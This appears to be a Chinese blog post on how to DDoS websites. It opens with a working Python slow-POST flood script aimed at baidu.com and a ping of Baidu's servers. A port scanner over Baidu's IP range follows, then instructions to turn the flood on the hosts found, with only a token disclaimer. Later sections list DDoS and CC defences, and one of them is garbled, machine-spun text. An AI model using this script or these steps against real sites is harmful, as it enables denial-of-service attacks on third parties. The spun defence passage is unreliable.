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如何ddos攻击网站

如何ddos攻击网站(ddos攻击)

hacker hacker 发表于2022-07-14 16:41:29 浏览22 评论4

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本文目录一览:

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,最好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

       

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

如何防御ddos攻击和cc攻击?

DDOS攻击防御方法

1、过滤不必要的服务和端口:可以使用Inexpress、Express、Forwarding等工具来过滤不必要的服务和端口,即在路由器上过滤假ip。

2、异常流量的清洗过滤:通过DDOS硬件防火墙对异常流量的清洗过滤,通过数据包的规则过滤、数据流指纹检测过滤及数据包内容定制过滤等顶尖技术能准确判断外来访问流量是否正常,进一步将异常流量禁止过滤。

3、分布式集群防御:这是目前网络安全界防御大规模DDOS攻击最有效的方法。分布式集群防御的特点是在每个节点服务器配置多个ip地址,并且每个节点能承受不低于10G的DDOS攻击。

4、高防智能DNS解析:高智能DNS解析系统与DDOS防御系统的完美结合,为企业提供对抗新兴安全威胁的超级检测功能。它颠覆了传统一个域名对应一个镜像的做法,只能根据用户的上网路线将DNS解析请求解析到用户所属网络的服务器。同时智能DNS解析系统还有宕机检测功能,随时可将瘫痪的服务器ip智能更换成正常服务器ip,为企业的网络保持一个永不宕机的服务状态。

CC攻击防御方法

1、选择可靠的高防服务器,提升服务器硬件和网络带宽资源:高性能服务器硬件能力和充足的网络带宽资源可以提升系统对CC攻击的承载能力。

2、网站页面静态化:可以较大程度的减少系统资源消耗,从而达到提高抗系统抗攻击能力。

3、IP屏蔽限制:辨别攻击者的源ip,针对CC攻击的源ip,可以在IIS中设置屏蔽该IP,限制其访问,达到防范IIS攻击的目的。

4、部署高防CDN:接入高防CDN,隐蔽服务器源ip,自动识别攻击流量,清洗后将正常访客流量回源到源服务器ip上,保障业务安全。

5、关闭不需要的端口和服务。

如何有效防御DDOS攻击?

11种方法教你有效防御DDOS攻击:

1、采用高性能的网络设备

首先要保证网络设备不能成为瓶颈,因此选择路由器、交换机、硬件防火墙等设备的时候要尽量选用知名度高、口碑好的产品。再就是假如和网络提供商有特殊关系或协议的话就更好了,当大量攻击发生的时候请他们在网络接点处做一下流量限制来对抗某种类的DDOS攻击是非常有效的。

2、尽量避免NAT的使用

无论是路由器还是硬件防护墙设备要尽量避免采用网络地址转换NAT的使用,因为采用此技术会较大降低网络通信能力,其实原因很简单,因为NAT需要对地址来回转换,转换过程中需要对网络包的校验和进行计算,因此浪费了很多CPU的时间,但有些时候必须使用NAT,那就没有好办法了。

3、充足的网络带宽保证

网络带宽直接决定了能抗受攻击的能力,假若仅仅有10M带宽的话,无论采取什么措施都很难对抗现在的SYNFlood攻击,当前至少要选择100M的共享带宽,最好的当然是挂在1000M的主干上了。但需要注意的是,主机上的网卡是1000M的并不意味着它的网络带宽就是千兆的,若把它接在100M的交换机上,它的实际带宽不会超过100M,再就是接在100M的带宽上也不等于就有了百兆的带宽,因为网络服务商很可能会在交换机上限制实际带宽为10M,这点一定要搞清楚。

4、升级主机服务器硬件

在有网络带宽保证的前提下,请尽量提升硬件配置,要有效对抗每秒10万个SYN攻击包,服务器的配置至少应该为:P42.4G/DDR512M/SCSI-HD,起关键作用的主要是CPU和内存,若有志强双CPU的话就用它,内存一定要选择DDR的高速内存,硬盘要尽量选择SCSI的,别贪图IDE价格不贵量还足的便宜,否则会付出高昂的性能代价,再就是网卡一定要选用3COM或Intel等名牌的,若是Realtek的还是用在自己的PC上吧。

5、将网站做成静态页面或者伪静态

事实证明,将网站做成静态页面,不仅能大大提高抗攻击能力,而且还给黑客入侵带来不少麻烦,至少到现在为止关于HTML的溢出还没出现。现在很多门户网站主要都是静态页面,若你非要动态脚本调用,那就把它弄到另外一个单独主机,免的遭受攻击时连累主服务器。当然,适当放一些不做数据库调用脚本还是可以的,此外,最好在需要调用数据库的脚本中拒绝使用代理的访问,因为经验表明使用代理访问你网站的80%属于恶意行为。

6、增强操作系统的TCP/IP栈

win2000和win2003作为服务器操作系统,本身就具备一定的抵抗DDOS攻击的能力,只是默认状态下没有开启而已,若开启的话可抵抗约10000个SYN攻击包,若没有开启则仅能抵抗数百个。

7、安装专业抗DDOS防火墙

8、HTTP请求拦截

如果恶意请求有特征,对付起来很简单,直接拦截就可以。HTTP请求的特征一般有两种:IP地址和User Agent字段。

9、备份网站

你要有一个备份网站,或者最低限度有一个临时主页。生产服务器万一下线了,可以立刻切换到备份网站,不至于毫无办法。

备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求,最低限度应该可以显示公告,告诉用户,网站出了问题,正在抢修。这种临时主页建议放到Github

Pages或者Netlify,它们的带宽大,可以应对攻击,而且都支持绑定域名,还能从源码自动构建。

10、部署CDN

CDN指的是网站的静态内容分布到多个服务器,用户就近访问,提高速度。因此,CDN也是带宽扩容的一种方法,可以用来防御DDOS攻击。

网站内容存放在源服务器,CDN上面是内容的缓存。用户只允许访问CDN,如果内容不在CDN上,CDN再向源服务器发出请求。这样的话,只要CDN够大,就可以抵御很大的攻击。不过,这种方法有一个前提,网站的大部分内容必须可以静态缓存。对于动态内容为主的网站,就要想别的办法,尽量减少用户对动态数据的请求;本质就是自己搭建一个微型CDN。各大云服务商提供的高防IP,背后也是这样做的:网站域名指向高防IP,它提供了一个缓冲层,清洗流量,并对源服务器的内容进行缓存。

这里有一个关键点,一旦上了CDN,千万不要泄露源服务器的IP地址,否则攻击者可以绕过CDN直接攻击源服务器,前面的努力都白费了。

11、其他防御手段

以上的几条建议,适合绝大多数拥有自己主机的用户,但假如采取以上措施后仍然不能解决DDOS问题,就比较麻烦了,可能需要更多投资,增加服务器数量并采用DNS轮巡或负载均衡技术,甚至需要购买七层交换机设备,从而使得抗DDOS攻击能力成倍提高,只要投资足够深入。

如何针对网站进行ddos防御?

ddos防御攻击名称是分布式拒绝服务(分布式拒绝服务),攻击目标往往比我们想结合多个计算机平台,目标是攻击。目前,它的ddos防御通常是攻击请求手段达到合法占用大量服务器网络资源越来越普遍,胃高,目的的网络瘫痪的。锐速云判定合理和区分请求 ddos防御攻击时,硬面服务器的攻击时都在面对疼痛往往束手无策,停止尴尬业务出口网站。高防部署,攻击概率

然而,虽然没有解 DOS攻击,但是,它可以通过减少概率手段攻击有效损害原因攻击缓解。通过提供或路网关,防御到作用攻击防火墙重放预定的DDoS CDN也减少服务器,它可以被用来促进分散到攻击镜像影响服务器。如果车不能达到预期的防御效果在那里,不同的人其方式螳臂,规模没有面临大的ddos防御攻击事件。

攻击是保证必要的企业,最多的DDoS到部署专业限度网站安全攻击防御方案,附以“猛兽”的头部,被洪水袭击猛兽。网络 ddos防御通常只有约云 VPS的主机高防服务器是ddos防御可用服务遭受重大流量 /铅后攻击 CC情况开始付费增值的服务。用户可以进行配置,以便ddos防御的高防,攻击流量恶意行为清洗过滤,主机运行稳定。

1,超高带宽立体声防护

1T是多达数百摹能力大防护带宽,提供一个IP防护,易ddos防御,CC攻击,BGP多线防护,确保电信,联通和移动网络交易,业务,根据广泛的信息攻击流量的,为50ms或更小的平均延迟,性用户帮助正常运行。

清晰直观流量实际时监控系统攻击是时,清洗中心秒级响应,SYN Flood攻击,ACK洪水,ICMP泛滥,UDP泛滥,洪水NTP,DNS洪水,洪水HTTP,CC的攻击和其他一般攻击类型遇到时完全支持防护。(3)多个识别应用层防护

这提供了一个真正的时防ddos防御的能力,几个认证,身份识别,验证码和其他恶意访问的攻击应用层识别 TCP/UDP是/HTTP/HTTPS等协议满足支持手段准确和真实访问游戏,APP,网站,金融,

ddos是怎么攻击网站的?遇到ddos攻击怎么办?

就是很多台电脑同时访问你 但是不是正常的访问 遇到就用单方处理

怎么用DDOS攻击网站和IP啊

IP

不过扫

IP

有点复杂

可以用DOS

命令弄到对方IP

攻击后果:

网络中断

无法连接本地服务器

攻击原理:向攻击目标

发送大量的

垃圾数据

导致

网络宽带资源消耗

也会导致

网络丢失大量

正确的

数据

对攻击目标造成

网速卡

导致被攻击目标造成系统

瘫痪

如果不懂

我可以教你

群贤毕至

访客
性许笙沉 性许笙沉2022-07-15 00:49:45 | 回复         time.sleep(10)#end defdef send_thread():   global socks   while True:       for s in socks
听弧等灯 听弧等灯2022-07-15 01:19:52 | 回复 n吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可代码:import socketimport timeimport threading#Pressure Test,ddos tool#---------------------------MAX_C
慵吋饮湿 慵吋饮湿2022-07-14 18:16:59 | 回复 )   #关闭进程池,close()必须在join()之前调用   pool.close()   #等待进程池中的进程全部执行结束   pool.join()   #打印输出结果
澄萌音梦 澄萌音梦2022-07-15 02:02:49 | 回复 r\n" % (PAGE,HOST))socks=[]def conn_thread():   global socks   for i in range(0,MAX